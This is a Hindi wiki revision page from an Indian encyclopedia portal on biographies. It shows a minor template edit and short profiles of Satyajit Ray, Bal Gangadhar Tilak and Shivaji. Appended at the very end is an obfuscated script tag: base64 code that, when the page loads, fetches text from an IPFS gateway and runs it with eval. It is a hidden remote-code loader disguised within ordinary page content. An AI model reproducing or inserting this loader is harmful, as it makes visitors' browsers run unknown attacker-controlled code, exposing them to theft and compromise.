प्रांगण:मुखपृष्ठ/जीवनी: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
No edit summary
No edit summary
Line 99: Line 99:
}}
}}


| {{Robelbox|theme=1|title=[[:Category:जीवनी साहित्य|जीवनी श्रेणी वृक्ष]]}}
| {{Robelbox|theme=1|title=जीवनी श्रेणी वृक्ष}}
<div style="{{Robelbox/pad}}; font-size:90%; height:900px; overflow:auto;">
<div style="{{Robelbox/pad}}; font-size:90%; height:900px; overflow:auto;">
<categorytree mode=pages>जीवनी साहित्य</categorytree>
<categorytree mode=pages>जीवनी साहित्य</categorytree>

Revision as of 11:48, 17 September 2011

मुखपृष्ठ गणराज्य इतिहास पर्यटन साहित्य जीवनी दर्शन धर्म संस्कृति भूगोल कला भाषा सभी विषय
  • यहाँ हम भारत के प्रसिद्ध व्यक्तियों की जीवनी से संबंधित जानकारी प्राप्त कर सकते हैं।
  • किसी भी व्यक्तित्व के जीवन का वृतान्त 'जीवनी' कहलाता है।
  • भारतकोश पर लेखों की संख्या प्रतिदिन बढ़ती रहती है जो आप देख रहे वह "प्रारम्भ मात्र" ही है...
  1. REDIRECTसाँचा:विशेष2

center|70px

  • महापुरुषों की जीवनियाँ हमें याद दिलाती हैं कि हम भी अपना जीवन महान बना सकते हैं और मरते समय अपने पदचिन्ह समय की बालू पर छोड़ सकते हैं।
  • प्राचीन महापुरुषों के जीवन से अपरिचित रहना जीवन-भर निरंतर बाल्यावस्था में ही रहना है।
विशेष आलेख
  • विश्व में भारतीय फ़िल्मों को नई पहचान दिलाने वाले सत्यजित राय का जन्म- 2 मई, 1921 को कलकत्ता में हुआ।
  • सत्यजित राय 20वीं शताब्दी के विश्व की महानतम फ़िल्मी हस्तियों में से एक थे, जिन्होंने यथार्थवादी धारा की फ़िल्मों को नई दिशा देने के अलावा साहित्य, चित्रकला जैसी अन्य विधाओं में भी अपनी प्रतिभा का परिचय दिया।
  • कोलकाता के एक जाने-माने बंगाली परिवार में जन्मे सत्यजित राय फ़िल्म निर्माण से संबंधित कई काम खुद ही करते थे। जिनमें निर्देशन, छायांकन, पटकथा, पार्श्व संगीत, कला निर्देशन, संपादन आदि शामिल हैं।
  • फ़िल्मकार के अलावा वह कहानीकार, चित्रकार, फ़िल्म आलोचक भी थे। सत्यजित राय कथानक लिखने को निर्देशन का अभिन्न अंग मानते थे।
  • विश्व विख्यात निर्देशक सत्यजित राय ने सबसे ज़्यादा राष्ट्रीय फ़िल्म पुरस्कार जीते हैं। उन्होंने और उनके काम ने कुल 32 राष्ट्रीय फ़िल्म पुरस्कार प्राप्त किये।
  • भारत रत्न, पद्म विभूषण, दादासाहेब फाल्के पुरस्कार से सम्मानित सत्यजित राय का 23 अप्रॅल, 1992 को कोलकाता में स्वर्गवास हुआ। .... और पढ़ें
चयनित लेख
  • बाल गंगाधर तिलक भारत के एक प्रमुख नेता, समाज सुधारक और स्वतन्त्रता सेनानी, विद्वान, गणितज्ञ, दार्शनिक और उग्र राष्ट्रवादी व्यक्ति थे जिन्होंने भारत की स्वतंत्रता की नींव रखने में सहायता की।
  • बाल गंगाधर तिलक भारतीय स्वतन्त्रता संग्राम के पहले लोकप्रिय नेता थे। इन्होंने सबसे पहले भारत में पूर्ण स्वराज की माँग उठाई। इन्हें हिन्दू राष्ट्रवाद का पिता भी कहा जाता है।
  • तिलक ने वेदों के इतिहास के बारे में एक पुस्तक लिखी जिसे काफ़ी सराहा जाता है। उन्होंने "द आर्कटिक होम इन द वेदास" नामक पुस्तक में खगोल शास्त्र के उद्धरण देकर साबित किया कि वेद आर्कटिक क्षेत्र में लिखे गए थे। इसके अलावा उन्होंने "श्रीमद्भागवतगीतारहस्य अथवा कर्मयोगशास्त्र" और "जीवन का हिन्दू दर्शन" नामक किताबें भी लिखी हैं।
  • इनका कथन "स्वराज मेरा जन्मसिद्ध अधिकार है और मैं इसे लेकर रहूँगा" बहुत प्रसिद्ध हुआ। .... और पढ़ें
संक्षिप्त परिचय


पूरा नाम शिवाजी राजे भोंसले
जन्म 19 फ़रवरी, 1630
जन्म भूमि शिवनेरी महाराष्ट्र
मृत्यु तिथि 3 अप्रैल, 1680
मृत्यु स्थान दुर्ग रायगढ़
पति/पत्नी साइबाईं निम्बालकर
संतान सम्भाजी
उपाधि छत्रपति
स्मारक महाराष्ट्र
संबंधित लेख ताना जी, महाराष्ट्र, रायगढ़, समर्थ गुरु रामदास, पूना
अन्य जानकारी "शिव सूत्र" (गुरिल्ला युद्ध) का आरम्भ किया।


जीवनी श्रेणी वृक्ष

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>